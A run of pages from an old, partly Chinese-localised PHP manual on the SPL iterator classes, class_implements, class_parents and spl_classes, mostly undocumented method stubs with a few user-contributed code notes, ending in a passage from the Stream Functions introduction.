There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::current | 上一级 | DirectoryIterator::getCTime


DirectoryIterator::getCTime

(no version information, might be only in CVS)

DirectoryIterator::getCTime -- Get inode modification time of file

Description

int DirectoryIterator::getCTime ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getATime | 上一级 | DirectoryIterator::getChildren


DirectoryIterator::getChildren

(no version information, might be only in CVS)

DirectoryIterator::getChildren -- Returns an iterator for the current entry if it is a directory

Description

RecursiveDirectoryIterator DirectoryIterator::getChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getCTime | 上一级 | DirectoryIterator::getFilename


DirectoryIterator::getFilename

(no version information, might be only in CVS)

DirectoryIterator::getFilename -- Return filename of current dir entry

Description

string DirectoryIterator::getFilename ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
kaigillmann at gmxpro dot net
11-Nov-2005 06:12
DirectoryIterator extension to get the file-extension:

class MyDirectoryIterator extends DirectoryIterator
{
   public function GetExtension()
   {
       $Filename = $this->GetFilename();
       $FileExtension = strrpos($Filename, ".", 1) + 1;
       if ($FileExtension != false)
           return strtolower(substr($Filename, $FileExtension, strlen($Filename) - $FileExtension));
       else
           return "";
   }
}
add a note add a note

后退 | 起点 | 前进
DirectoryIterator::getChildren | 上一级 | DirectoryIterator::getGroup


DirectoryIterator::getGroup

(no version information, might be only in CVS)

DirectoryIterator::getGroup -- Get file group

Description

int DirectoryIterator::getGroup ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getFilename | 上一级 | DirectoryIterator::getInode


DirectoryIterator::getInode

(no version information, might be only in CVS)

DirectoryIterator::getInode -- Get file inode

Description

int DirectoryIterator::getInode ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getGroup | 上一级 | DirectoryIterator::getMTime


DirectoryIterator::getMTime

(no version information, might be only in CVS)

DirectoryIterator::getMTime -- Get last modification time of file

Description

int DirectoryIterator::getMTime ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getInode | 上一级 | DirectoryIterator::getOwner


DirectoryIterator::getOwner

(no version information, might be only in CVS)

DirectoryIterator::getOwner -- Get file owner

Description

int DirectoryIterator::getOwner ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getMTime | 上一级 | DirectoryIterator::getPath


DirectoryIterator::getPath

(no version information, might be only in CVS)

DirectoryIterator::getPath -- Return directory path

Description

string DirectoryIterator::getPath ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getOwner | 上一级 | DirectoryIterator::getPathname


DirectoryIterator::getPathname

(no version information, might be only in CVS)

DirectoryIterator::getPathname -- Return path and filename of current dir entry

Description

string DirectoryIterator::getPathname ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getPath | 上一级 | DirectoryIterator::getPerms


DirectoryIterator::getPerms

(no version information, might be only in CVS)

DirectoryIterator::getPerms -- Get file permissions

Description

int DirectoryIterator::getPerms ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getPathname | 上一级 | DirectoryIterator::getSize


DirectoryIterator::getSize

(no version information, might be only in CVS)

DirectoryIterator::getSize -- Get file size

Description

int DirectoryIterator::getSize ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
Ville Witt (.net)
13-Jan-2006 04:54
Size of file is returned in bytes.
add a note add a note

后退 | 起点 | 前进
DirectoryIterator::getPerms | 上一级 | DirectoryIterator::getType


DirectoryIterator::getType

(no version information, might be only in CVS)

DirectoryIterator::getType -- Get file type

Description

string DirectoryIterator::getType ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
boards at gmail dot com
10-Apr-2006 12:09
Note that this function returns the file type (e.g. "file", "dir", etc.) and not the MIME type.  To do that, you might want to use this:
<?php
for
(
  $dir = new DirectoryIterator('/some/directory');
  $dir->valid();
  $dir->next()
)
{
  $mime = mime_content_type($dir->getPathname());
}
?>
add a note add a note

后退 | 起点 | 前进
DirectoryIterator::getSize | 上一级 | DirectoryIterator::isDir


DirectoryIterator::isDir

(no version information, might be only in CVS)

DirectoryIterator::isDir -- Returns true if file is directory

Description

bool DirectoryIterator::isDir ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::getType | 上一级 | DirectoryIterator::isDot


DirectoryIterator::isDot

(no version information, might be only in CVS)

DirectoryIterator::isDot -- Returns true if current entry is '.' or '..'

Description

bool DirectoryIterator::isDot ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::isDir | 上一级 | DirectoryIterator::isExecutable


DirectoryIterator::isExecutable

(no version information, might be only in CVS)

DirectoryIterator::isExecutable -- Returns true if file is executable

Description

bool DirectoryIterator::isExecutable ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
kencomer at NOSPAM dot kencomer dot com
14-Sep-2005 04:56
There is information on the DirectoryIterator class at http://wiki.cc/php/DirectoryIterator and at http://www.php.net/~helly/php/ext/spl/classDirectoryIterator.
add a note add a note

后退 | 起点 | 前进
DirectoryIterator::isDot | 上一级 | DirectoryIterator::isFile


DirectoryIterator::isFile

(no version information, might be only in CVS)

DirectoryIterator::isFile -- Returns true if file is a regular file

Description

bool DirectoryIterator::isFile ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
kencomer at NOSPAM dot kencomer dot com
14-Sep-2005 09:49
I put in an example in __autoload, but it is useful here, too...

Yet another class/interface __autoload function. Includes an example usage of the SPL DirectoryIterator class, a settable case-ignore flag, and support for multiple file name patterns to allow easy integration from multiple sources.

<?php
/**
 * __autoload
 *
 * @author Ken Comer
 * @copyright released into public domain 2005 Ken Comer
 */

define('IGNORE_CASE',true);
// comment out the define() of IGNORE_CASE to be
//  case-sensitive. I like to ignore case so that I can
//  use UPPERCASE for the test versions of the file.

/**
 * autoloads classes and interfaces for PHP5
 *
 * @author Ken Comer
 */

function __autoload($class_name) {

  // This will be set the first time through.
  // Put your default values in the place indicated
  //    below so as to eliminate possible duplicates
  //    in the .ini include_path
  static $possible_path = NULL;
  // Leave this as NULL.

  // List here whatever formats you use for your
  //    file names. Note that, if you autoload
  //    a class that implements a non-loaded interface,
  //    you will also need to autoload that interface.
  static $permitted_formats = array(
   "&CLASS.class.inc"
   ,"&CLASS.class.inc.php"
   ,"&CLASS.class.inc.php5"
   ,"class.&CLASS.inc"
   ,"class.&CLASS.inc.php"
   ,"class.&CLASS.inc.php5"
   ,"&CLASS.interface.inc"
   ,"&CLASS.interface.inc.php"
   ,"&CLASS.interface.inc.php5"
   ,"i&CLASS.interface.inc"
   ,"i&CLASS.interface.inc.php"
   ,"i&CLASS.interface.inc.php5"
  );
  //  Put the &CLASS wherever the $class_name
  //    might appear

  // Only executed the first time __autoload is called
  if (NULL===$possible_path):
   // These are the default paths for this application
   $possible_path = array_flip(array(
       "."
       ,".."
       ,"../include"
       ,"/public_html/php/include"
   ));
   // Customize this yourself, but leave the
   //      array_flip alone. We will use this
   //      to get rid of duplicate entries from the
   //      include_path .ini list.

   // Merge the flipped arrays to get rid of duplicate
   //      "keys" (which are really the valid include
   //      paths) then strip out the keys leaving only
   //      uniques. This is marginally faster than
   //      using array_combine and array_unique and
   //      much more elegant. Okay, it's weird, too.
   $possible_path = array_keys(array_merge($possible_path,
           array_flip(explode(ini_get("include_path"),";"))));
  endif; /* static $possible_path initialization */

  $possibility = str_replace("&CLASS",$class_name,$permitted_formats);

  foreach ( $possible_path as $directory ) {
   if (!file_exists($directory) or !is_dir($directory))
   {
     continue;
   }
   $file_to_check = new DirectoryIterator($directory);

   foreach ( $file_to_check as $file ) {
     // ignore directories and files that do not contain
     // $class_name
     if ( !$file->isDir()
         and ( defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
           ? stripos($file->getFileName(),$class_name)
           : strpos($file->getFileName(),$class_name) ) :

       // class_name was included, now compare against
       // all permitted file name patterns
       foreach ( $possibility as $compare ):
           if ((defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
               ? !strcasecmp($compare,$file->getFileName())
               : $compare===$file->getFileName()
           ) {
             // by using $compare, you will get a qualified
             //    file name
             include_once($compare);
             return TRUE;
           }
       endforeach; /* $possibility */

     endif;
   } /* foreach $file_to_check */
  }
}
?>
ludvig dot ericson at gmail dot com
31-Aug-2005 07:29
Usage:
<?php
//open current directory
$dir = new DirectoryIterator(".");
// use do .. while since we need to iterate atleast once
// and the first two items are always "." and ".."
do  {
   // if it isn't "." or ".."
   if (!$dir->isDot()) {
       // echo out pathname and "/" if it's a directory
       echo $dir->getPathname() . ($dir->isDir() ? "/" : "");
   }
} while ($dir->next())
?>

Outputs something like:
/path/file1
/path/dir1/
/path/file2
/path/file3
/path/dir2/

---
Note from the extension author:

Try this:

<?php
foreach(new DirectoryIterator(".") as $file)
{
   if (!$file->isDot()) {
       echo $file->getPathname() . ($file->isDir() ? "/" : "");
   }
}
?>
add a note add a note

后退 | 起点 | 前进
DirectoryIterator::isExecutable | 上一级 | DirectoryIterator::isLink


DirectoryIterator::isLink

(no version information, might be only in CVS)

DirectoryIterator::isLink -- Returns true if file is symbolic link

Description

bool DirectoryIterator::isLink ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::isFile | 上一级 | DirectoryIterator::isReadable


DirectoryIterator::isReadable

(no version information, might be only in CVS)

DirectoryIterator::isReadable -- Returns true if file can be read

Description

bool DirectoryIterator::isReadable ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::isLink | 上一级 | DirectoryIterator::isWritable


DirectoryIterator::isWritable

(no version information, might be only in CVS)

DirectoryIterator::isWritable -- Returns true if file can be written

Description

bool DirectoryIterator::isWritable ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::isReadable | 上一级 | DirectoryIterator::key


DirectoryIterator::key

(no version information, might be only in CVS)

DirectoryIterator::key -- Return current dir entry

Description

string DirectoryIterator::key ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::isWritable | 上一级 | DirectoryIterator::next


DirectoryIterator::next

(no version information, might be only in CVS)

DirectoryIterator::next -- Move to next entry

Description

void DirectoryIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::key | 上一级 | DirectoryIterator::rewind


DirectoryIterator::rewind

(no version information, might be only in CVS)

DirectoryIterator::rewind -- Rewind dir back to the start

Description

void DirectoryIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::next | 上一级 | DirectoryIterator::valid


DirectoryIterator::valid

(no version information, might be only in CVS)

DirectoryIterator::valid -- Check whether dir contains more entries

Description

string DirectoryIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::rewind | 上一级 | FilterIterator::current


FilterIterator::current

(no version information, might be only in CVS)

FilterIterator::current -- Get the current element value

Description

mixed FilterIterator::current ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DirectoryIterator::valid | 上一级 | FilterIterator::getInnerIterator


FilterIterator::getInnerIterator

(no version information, might be only in CVS)

FilterIterator::getInnerIterator -- Get the inner iterator

Description

Iterator FilterIterator::getInnerIterator ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::current | 上一级 | FilterIterator::key


FilterIterator::key

(no version information, might be only in CVS)

FilterIterator::key -- Get the current key

Description

mixed FilterIterator::key ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::getInnerIterator | 上一级 | FilterIterator::next


FilterIterator::next

(no version information, might be only in CVS)

FilterIterator::next -- Move the iterator forward

Description

void FilterIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::key | 上一级 | FilterIterator::rewind


FilterIterator::rewind

(no version information, might be only in CVS)

FilterIterator::rewind -- Rewind the iterator

Description

void FilterIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::next | 上一级 | FilterIterator::valid


FilterIterator::valid

(no version information, might be only in CVS)

FilterIterator::valid -- Check whether the current element is valid

Description

bool FilterIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::rewind | 上一级 | LimitIterator::getPosition


LimitIterator::getPosition

(no version information, might be only in CVS)

LimitIterator::getPosition -- Return the current position

Description

int LimitIterator::getPosition ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
FilterIterator::valid | 上一级 | LimitIterator::next


LimitIterator::next

(no version information, might be only in CVS)

LimitIterator::next -- Move the iterator forward

Description

void LimitIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LimitIterator::getPosition | 上一级 | LimitIterator::rewind


LimitIterator::rewind

(no version information, might be only in CVS)

LimitIterator::rewind -- Rewind the iterator to the specified starting offset

Description

void LimitIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LimitIterator::next | 上一级 | LimitIterator::seek


LimitIterator::seek

(no version information, might be only in CVS)

LimitIterator::seek -- Seek to the given position

Description

void LimitIterator::seek ( int position )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LimitIterator::rewind | 上一级 | LimitIterator::valid


LimitIterator::valid

(no version information, might be only in CVS)

LimitIterator::valid -- Check whether the current element is valid

Description

bool LimitIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LimitIterator::seek | 上一级 | ParentIterator::getChildren


ParentIterator::getChildren

(no version information, might be only in CVS)

ParentIterator::getChildren -- Return the inner iterator's children contained in a ParentIterator

Description

ParentIterator ParentIterator::getChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LimitIterator::valid | 上一级 | ParentIterator::hasChildren


ParentIterator::hasChildren

(no version information, might be only in CVS)

ParentIterator::hasChildren -- Check whether the inner iterator's current element has children

Description

bool ParentIterator::hasChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ParentIterator::getChildren | 上一级 | ParentIterator::next


ParentIterator::next

(no version information, might be only in CVS)

ParentIterator::next -- Move the iterator forward

Description

void ParentIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ParentIterator::hasChildren | 上一级 | ParentIterator::rewind


ParentIterator::rewind

(no version information, might be only in CVS)

ParentIterator::rewind -- Rewind the iterator

Description

void ParentIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ParentIterator::next | 上一级 | RecursiveDirectoryIterator::getChildren


RecursiveDirectoryIterator::getChildren

(no version information, might be only in CVS)

RecursiveDirectoryIterator::getChildren -- Returns an iterator for the current entry if it is a directory

Description

object RecursiveDirectoryIterator::getChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ParentIterator::rewind | 上一级 | RecursiveDirectoryIterator::hasChildren


RecursiveDirectoryIterator::hasChildren

(no version information, might be only in CVS)

RecursiveDirectoryIterator::hasChildren -- Returns whether current entry is a directory and not '.' or '..'

Description

bool RecursiveDirectoryIterator::hasChildren ( [bool allow_links] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveDirectoryIterator::getChildren | 上一级 | RecursiveDirectoryIterator::key


RecursiveDirectoryIterator::key

(no version information, might be only in CVS)

RecursiveDirectoryIterator::key -- Return path and filename of current dir entry

Description

string RecursiveDirectoryIterator::key ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveDirectoryIterator::hasChildren | 上一级 | RecursiveDirectoryIterator::next


RecursiveDirectoryIterator::next

(no version information, might be only in CVS)

RecursiveDirectoryIterator::next -- Move to next entry

Description

void RecursiveDirectoryIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveDirectoryIterator::key | 上一级 | RecursiveDirectoryIterator::rewind


RecursiveDirectoryIterator::rewind

(no version information, might be only in CVS)

RecursiveDirectoryIterator::rewind -- Rewind dir back to the start

Description

void RecursiveDirectoryIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveDirectoryIterator::next | 上一级 | RecursiveIteratorIterator::current


RecursiveIteratorIterator::current

(no version information, might be only in CVS)

RecursiveIteratorIterator::current -- Access the current element value

Description

mixed RecursiveIteratorIterator::current ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveDirectoryIterator::rewind | 上一级 | RecursiveIteratorIterator::getDepth


RecursiveIteratorIterator::getDepth

(no version information, might be only in CVS)

RecursiveIteratorIterator::getDepth -- Get the current depth of the recursive iteration

Description

int RecursiveIteratorIterator::getDepth ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::current | 上一级 | RecursiveIteratorIterator::getSubIterator


RecursiveIteratorIterator::getSubIterator

(no version information, might be only in CVS)

RecursiveIteratorIterator::getSubIterator -- The current active sub iterator

Description

RecursiveIterator RecursiveIteratorIterator::getSubIterator ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::getDepth | 上一级 | RecursiveIteratorIterator::key


RecursiveIteratorIterator::key

(no version information, might be only in CVS)

RecursiveIteratorIterator::key -- Access the current key

Description

mixed RecursiveIteratorIterator::key ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::getSubIterator | 上一级 | RecursiveIteratorIterator::next


RecursiveIteratorIterator::next

(no version information, might be only in CVS)

RecursiveIteratorIterator::next -- Move forward to the next element

Description

void RecursiveIteratorIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::key | 上一级 | RecursiveIteratorIterator::rewind


RecursiveIteratorIterator::rewind

(no version information, might be only in CVS)

RecursiveIteratorIterator::rewind -- Rewind the iterator to the first element of the top level inner iterator

Description

void RecursiveIteratorIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::next | 上一级 | RecursiveIteratorIterator::valid


RecursiveIteratorIterator::valid

(no version information, might be only in CVS)

RecursiveIteratorIterator::valid -- Check whether the current position is valid

Description

bolean RecursiveIteratorIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::rewind | 上一级 | SimpleXMLIterator::current


SimpleXMLIterator::current

(no version information, might be only in CVS)

SimpleXMLIterator::current -- Return current SimpleXML entry

Description

mixed SimpleXMLIterator::current ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
RecursiveIteratorIterator::valid | 上一级 | SimpleXMLIterator::getChildren


SimpleXMLIterator::getChildren

(no version information, might be only in CVS)

SimpleXMLIterator::getChildren -- Returns an iterator for the current entry if it is a SimpleXML object

Description

object SimpleXMLIterator::getChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::current | 上一级 | SimpleXMLIterator::hasChildren


SimpleXMLIterator::hasChildren

(no version information, might be only in CVS)

SimpleXMLIterator::hasChildren -- Returns whether current entry is a SimpleXML object

Description

bool SimpleXMLIterator::hasChildren ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::getChildren | 上一级 | SimpleXMLIterator::key


SimpleXMLIterator::key

(no version information, might be only in CVS)

SimpleXMLIterator::key -- Return current SimpleXML key

Description

mixed SimpleXMLIterator::key ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::hasChildren | 上一级 | SimpleXMLIterator::next


SimpleXMLIterator::next

(no version information, might be only in CVS)

SimpleXMLIterator::next -- Move to next entry

Description

void SimpleXMLIterator::next ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::key | 上一级 | SimpleXMLIterator::rewind


SimpleXMLIterator::rewind

(no version information, might be only in CVS)

SimpleXMLIterator::rewind -- Rewind SimpleXML back to the start

Description

void SimpleXMLIterator::rewind ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::next | 上一级 | SimpleXMLIterator::valid


SimpleXMLIterator::valid

(no version information, might be only in CVS)

SimpleXMLIterator::valid -- Check whether SimpleXML contains more entries

Description

bool SimpleXMLIterator::valid ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLIterator::rewind | 上一级 | class_implements


class_implements

(PHP 5)

class_implements -- Return the interfaces which are implemented by the given class

说明

array class_implements ( mixed class [, bool autoload] )

This function returns an array with the names of the interfaces that the given class and its parents implement.

参数

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload magic method. Defaults to TRUE.

返回值

Returns an array or FALSE on error.

更新日志

版本 | 说明
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

范例

例子 1. class_implements() example

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// since PHP 5.1 you may also specify the parameter as a string
print_r(class_implements('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_implements('not_loaded', true));

?>

上例的输出类似于：

Array
(
    [foo] => foo
)

Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

参见

class_parents()

add a note add a note User Contributed Notes
25-Jan-2006 01:51
You can use Reflection class instead:

<?php

$r = new ReflectionClass($class);
foreach($r->getInterfaces() as $in)
{
  $in->getName();
}
trollll23 at yahoo dot com
26-Oct-2005 03:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

   <?php

   interface InterfaceA { }

   interface InterfaceB extends InterfaceA { }

   class MyClass implements InterfaceB { }

   print_r(class_implements(new MyClass()));

   ?>

prints out:

   Array
   (
       [InterfaceB] => InterfaceB
       [InterfaceA] => InterfaceA
   )
ludvig dot ericson at gmail dot nospam dot com
02-Aug-2005 03:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.
add a note add a note

后退 | 起点 | 前进
SimpleXMLIterator::valid | 上一级 | class_parents


class_parents

(PHP 5)

class_parents -- Return the parent classes of the given class

说明

array class_parents ( mixed class [, bool autoload] )

This function returns an array with the name of the parent classes of the given class.

参数

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload magic method. Defaults to TRUE.

返回值

Returns an array or FALSE on error.

更新日志

版本 | 说明
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

范例

例子 1. class_parents() example

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// since PHP 5.1 you may also specify the parameter as a string
print_r(class_parents('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_parents('not_loaded', true));
?>

上例的输出类似于：

Array
(
    [foo] => foo
)

Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

参见

class_implements()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
class_implements | 上一级 | iterator_count


iterator_count

(PHP 5 >= 5.1.0RC1)

iterator_count -- Count the elements in an iterator

Description

int iterator_count ( IteratorAggregate iterator )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
class_parents | 上一级 | iterator_to_array


iterator_to_array

(PHP 5 >= 5.1.0RC1)

iterator_to_array -- Copy the iterator into an array

Description

array iterator_to_array ( IteratorAggregate iterator )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iterator_count | 上一级 | spl_classes


spl_classes

(PHP 5)

spl_classes -- Return available SPL classes

Description

array spl_classes ( void )

This function returns an array with the current available SPL classes.

例子 1. spl_classes() example

<?php

print_r(spl_classes());

?>

上例的输出类似于：

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [CachingRecursiveIterator] => CachingRecursiveIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iterator_to_array | 上一级 | Stream Functions


Stream Functions

PHP 手册
后退 前进

CXLI. Stream Functions

简介

Streams were introduced with PHP 4.3.0 as a way of generalizing file, network, data compression, and other operations which share a common set of functions and uses. In its simplest definition, a stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear fashion, and may be able to fseek() to an arbitrary locations within the stream.

A wrapper is additional code which tells the stream how to handle specific protocols/encodings. For example, the http wrapper knows how to translate a URL into an HTTP/1.0 request for a file on a remote server. There are many wrappers built into PHP by default (See 附录 L), and additional, custom wrappers may be added either within a PHP script using stream_wrapper_register(), or directly from an extension using the API Reference in 44 章. Because any variety of wrapper may be added to PHP, there is no set limit on what can be done with them. To access the list of currently registered wrappers, use stream_get_wrappers().

A stream is referenced as: scheme://target

  • scheme(string) - The name of the wrapper to be used. Examples include: file, http, https, ftp, ftps, compress.zlib, compress.bz2, and php. See 附录 L for a list of PHP builtin wrappers. If no wrapper is specified, the function default is used (typically file://).

  • target - Depends on the wrapper used. For filesystem related streams this is typically a path and filename of the desired file. For network related streams this is typically a hostname, often with a path appended. Again, see 附录 L for a description of targets for builtin streams.

Stream Filters

A filter is a final piece of code which may perform operations on data as it is being read from or written to a stream. Any number of filters may be stacked onto a stream. Custom filters can be defined in a PHP script using stream_filter_register() or in an extension using the API Reference in 44 章. To access the list of currently registered filters, use stream_get_filters().

Stream Contexts

